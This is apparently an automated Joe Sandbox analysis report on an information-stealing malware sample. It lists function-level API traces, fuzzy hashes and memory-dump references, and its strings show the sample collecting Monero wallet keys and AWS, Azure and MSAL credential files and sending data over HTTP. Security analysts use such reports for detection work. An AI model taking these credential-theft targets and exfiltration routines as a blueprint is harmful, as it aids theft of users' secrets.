Opcode ID: d97ce98a407d7784d5cfbc8761b5f61aa1f14dae0199079d999b593a42065252
Instruction ID: a4761158029c67f753cd3238c684e4e6f15c459891ab74d9b5f622ba503ac0c1
Opcode Fuzzy Hash: d97ce98a407d7784d5cfbc8761b5f61aa1f14dae0199079d999b593a42065252
Instruction Fuzzy Hash: 1F12DF71864118FAEB15FBA0DC99FEE7378BF14700F5041AAF10662091DF783A4ACB66

Function 0077CEF0 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

Part of subcall function 0078A9B0: lstrlen.KERNEL32(?,014B8840,?,\Monero\wallet.keys,00790E17), ref: 0078A9C5
Part of subcall function 0078A9B0: lstrcpy.KERNEL32(00000000), ref: 0078AA04
Part of subcall function 0078A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0078AA12

Part of subcall function 0078A8A0: lstrcpy.KERNEL32(?,00790E17), ref: 0078A905

Part of subcall function 00788B60: GetSystemTime.KERNEL32(00790E1A,014B9EA8,007905AE,?,?,007713F9,?,0000001A,00790E1A,00000000,?,014B8840,?,\Monero\wallet.keys,00790E17), ref: 00788B86

Part of subcall function 0078A920: lstrcpy.KERNEL32(00000000,?), ref: 0078A972
Part of subcall function 0078A920: lstrcat.KERNEL32(00000000), ref: 0078A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0077CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0077D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0077D0CE
lstrcat.KERNEL32(?,00000000), ref: 0077D208
lstrcat.KERNEL32(?,00791478), ref: 0077D217
lstrcat.KERNEL32(?,00000000), ref: 0077D22A
lstrcat.KERNEL32(?,0079147C), ref: 0077D239
lstrcat.KERNEL32(?,00000000), ref: 0077D24C
lstrcat.KERNEL32(?,00791480), ref: 0077D25B
lstrcat.KERNEL32(?,00000000), ref: 0077D26E
lstrcat.KERNEL32(?,00791484), ref: 0077D27D
lstrcat.KERNEL32(?,00000000), ref: 0077D290
lstrcat.KERNEL32(?,00791488), ref: 0077D29F
lstrcat.KERNEL32(?,00000000), ref: 0077D2B2
lstrcat.KERNEL32(?,0079148C), ref: 0077D2C1
lstrcat.KERNEL32(?,00000000), ref: 0077D2D4
lstrcat.KERNEL32(?,00791490), ref: 0077D2E3

Part of subcall function 0078A820: lstrlen.KERNEL32(00774F05,?,?,00774F05,00790DDE), ref: 0078A82B
Part of subcall function 0078A820: lstrcpy.KERNEL32(00790DDE,00000000), ref: 0078A885

lstrlen.KERNEL32(?), ref: 0077D32A
lstrlen.KERNEL32(?), ref: 0077D339

Part of subcall function 0078AA70: StrCmpCA.SHLWAPI(014B8B40,0077A7A7,?,0077A7A7,014B8B40), ref: 0078AA8F

DeleteFileA.KERNEL32(00000000), ref: 0077D3B4

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 9e78c895c924c2c59000dab5cc451c4da12e80685bbdc4182c4da77acca3b8bb
Instruction ID: 5164b2795906bdc9704e853839f992eb98b009bd5c5ed354ab15b7a5e681baef
Opcode Fuzzy Hash: 9e78c895c924c2c59000dab5cc451c4da12e80685bbdc4182c4da77acca3b8bb
Instruction Fuzzy Hash: 38E1FE71954108FBDB05FBA0DD9AEEE7378AF14301F504169F106A60A1DE3DAE05DB72

Function 00774880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0078A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0078A7E6

Part of subcall function 007747B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00774839
Part of subcall function 007747B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00774849

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00774915
StrCmpCA.SHLWAPI(?,014BE480), ref: 0077493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00774ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00790DDB,00000000,?,?,00000000,?,",00000000,?,014BE560), ref: 00774DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00774E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00774E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00774E49
InternetCloseHandle.WININET(00000000), ref: 00774EAD
InternetCloseHandle.WININET(00000000), ref: 00774EC5
HttpOpenRequestA.WININET(00000000,014BE470,?,014BD8C8,00000000,00000000,00400100,00000000), ref: 00774B15

Part of subcall function 0078A9B0: lstrlen.KERNEL32(?,014B8840,?,\Monero\wallet.keys,00790E17), ref: 0078A9C5
Part of subcall function 0078A9B0: lstrcpy.KERNEL32(00000000), ref: 0078AA04
Part of subcall function 0078A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0078AA12

Part of subcall function 0078A8A0: lstrcpy.KERNEL32(?,00790E17), ref: 0078A905

Part of subcall function 0078A920: lstrcpy.KERNEL32(00000000,?), ref: 0078A972
Part of subcall function 0078A920: lstrcat.KERNEL32(00000000), ref: 0078A982

InternetCloseHandle.WININET(00000000), ref: 00774ECF

Strings

------, xrefs: 007749BD
------, xrefs: 00774B28
------, xrefs: 00774C69
", xrefs: 00774BF2
", xrefs: 00774D33

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 50266d65ed746a6a4c8195af4b70006e5189ff88d6affe246e98163309698b76
Instruction ID: 57d219535df4cdd6d127884bfa4e52b003a05f81de2ad89ebbdb2b52031bd1f6
Opcode Fuzzy Hash: 50266d65ed746a6a4c8195af4b70006e5189ff88d6affe246e98163309698b76
Instruction Fuzzy Hash: 7B12AB71950118EAEB15FB90DD9AFEEB379AF14300F5041AAB10662491EF7C3F49CB62

Function 00788320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

RegOpenKeyExA.KERNEL32(00000000,014BA9E0,00000000,00020019,00000000,007905B6), ref: 007883A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00788426
wsprintfA.USER32 ref: 00788459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0078847B
RegCloseKey.ADVAPI32(00000000), ref: 0078848C
RegCloseKey.ADVAPI32(00000000), ref: 00788499

Part of subcall function 0078A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0078A7E6

Strings

?, xrefs: 0078837A
%s\%s, xrefs: 0078844D
- , xrefs: 007885A3

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 220525f1b6cac8c3e829acd3ec809a92fd48bf94d4fa7b63401457044d595440
Instruction ID: 61aca7a25780751237075f3b0cd5fc2294bad9fb78b6daaddb68ebb4c2bf6693
Opcode Fuzzy Hash: 220525f1b6cac8c3e829acd3ec809a92fd48bf94d4fa7b63401457044d595440
Instruction Fuzzy Hash: E2812EB1954118EBEB24EB50CD95FEAB7B8FF08710F4082D9E109A6140DF796B85CFA1

Function 00776280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0078A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0078A7E6

Part of subcall function 007747B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00774839
Part of subcall function 007747B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00774849

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

InternetOpenA.WININET(00790DFE,00000001,00000000,00000000,00000000), ref: 007762E1
StrCmpCA.SHLWAPI(?,014BE480), ref: 00776303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00776335
HttpOpenRequestA.WININET(00000000,GET,?,014BD8C8,00000000,00000000,00400100,00000000), ref: 00776385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 007763BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 007763D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 007763FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0077646D
InternetCloseHandle.WININET(00000000), ref: 007764EF
InternetCloseHandle.WININET(00000000), ref: 007764F9
InternetCloseHandle.WININET(00000000), ref: 00776503

Strings

ERROR, xrefs: 00776407
ERROR, xrefs: 007764C9
GET, xrefs: 0077637C

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 78e4787e49bcea9089bbc927511e9371ae67ee7f220b85e383506509591b6a80
Instruction ID: 3600309f3b60d16f3aaf24ffe660d0cc02eb260d070ca4e22ca6be17c93013ae
Opcode Fuzzy Hash: 78e4787e49bcea9089bbc927511e9371ae67ee7f220b85e383506509591b6a80
Instruction Fuzzy Hash: B2715F71A50218EBEF24EFA0DC49BEE77B8FB44700F108199F1096B194DBB86A85DF51

Function 00785510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0078A820: lstrlen.KERNEL32(00774F05,?,?,00774F05,00790DDE), ref: 0078A82B
Part of subcall function 0078A820: lstrcpy.KERNEL32(00790DDE,00000000), ref: 0078A885

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00785644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 007856A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00785857

Part of subcall function 0078A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0078A7E6

Part of subcall function 007851F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00785228

Part of subcall function 0078A8A0: lstrcpy.KERNEL32(?,00790E17), ref: 0078A905

Part of subcall function 007852C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00785318
Part of subcall function 007852C0: lstrlen.KERNEL32(00000000), ref: 0078532F
Part of subcall function 007852C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00785364
Part of subcall function 007852C0: lstrlen.KERNEL32(00000000), ref: 00785383
Part of subcall function 007852C0: lstrlen.KERNEL32(00000000), ref: 007853AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0078578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00785940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00785A0C
Sleep.KERNEL32(0000EA60), ref: 00785A1B

Strings

ERROR, xrefs: 007859FE
ERROR, xrefs: 0078577D
ERROR, xrefs: 00785849
ERROR, xrefs: 00785636
ERROR, xrefs: 00785932
ERROR, xrefs: 00785693

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 8f36885379d00a512d451e0402278dba693ba8a8386870fd91450f199a98ec51
Instruction ID: 2c988a64109b48f3473e0d542b6b2011341702700bcee9339282ccfea9d96179
Opcode Fuzzy Hash: 8f36885379d00a512d451e0402278dba693ba8a8386870fd91450f199a98ec51
Instruction Fuzzy Hash: 5AE13F71950108EADB19FBB0DD9AEFD7378AF54300F908129B50666191EF3C6F09DBA2

Function 00784D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00788DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00788E0B

lstrcat.KERNEL32(?,00000000), ref: 00784DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00784DCD

Part of subcall function 00784910: wsprintfA.USER32 ref: 0078492C
Part of subcall function 00784910: FindFirstFileA.KERNEL32(?,?), ref: 00784943

lstrcat.KERNEL32(?,00000000), ref: 00784E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00784E59

Part of subcall function 00784910: StrCmpCA.SHLWAPI(?,00790FDC), ref: 00784971
Part of subcall function 00784910: StrCmpCA.SHLWAPI(?,00790FE0), ref: 00784987
Part of subcall function 00784910: FindNextFileA.KERNEL32(000000FF,?), ref: 00784B7D
Part of subcall function 00784910: FindClose.KERNEL32(000000FF), ref: 00784B92

lstrcat.KERNEL32(?,00000000), ref: 00784EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00784EE5

Part of subcall function 00784910: wsprintfA.USER32 ref: 007849B0
Part of subcall function 00784910: StrCmpCA.SHLWAPI(?,007908D2), ref: 007849C5
Part of subcall function 00784910: wsprintfA.USER32 ref: 007849E2
Part of subcall function 00784910: PathMatchSpecA.SHLWAPI(?,?), ref: 00784A1E
Part of subcall function 00784910: lstrcat.KERNEL32(?,014BE4C0), ref: 00784A4A
Part of subcall function 00784910: lstrcat.KERNEL32(?,00790FF8), ref: 00784A5C
Part of subcall function 00784910: lstrcat.KERNEL32(?,?), ref: 00784A70
Part of subcall function 00784910: lstrcat.KERNEL32(?,00790FFC), ref: 00784A82
Part of subcall function 00784910: lstrcat.KERNEL32(?,?), ref: 00784A96
Part of subcall function 00784910: CopyFileA.KERNEL32(?,?,00000001), ref: 00784AAC
Part of subcall function 00784910: DeleteFileA.KERNEL32(?), ref: 00784B31

Strings

*.*, xrefs: 00784E64
Azure\.aws, xrefs: 00784E5F
Azure\.azure, xrefs: 00784DD3
Azure\.IdentityService, xrefs: 00784EEB
\.IdentityService\, xrefs: 00784ED9
*.*, xrefs: 00784DD8
msal.cache, xrefs: 00784EF0
\.azure\, xrefs: 00784DC1
\.aws\, xrefs: 00784E4D

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
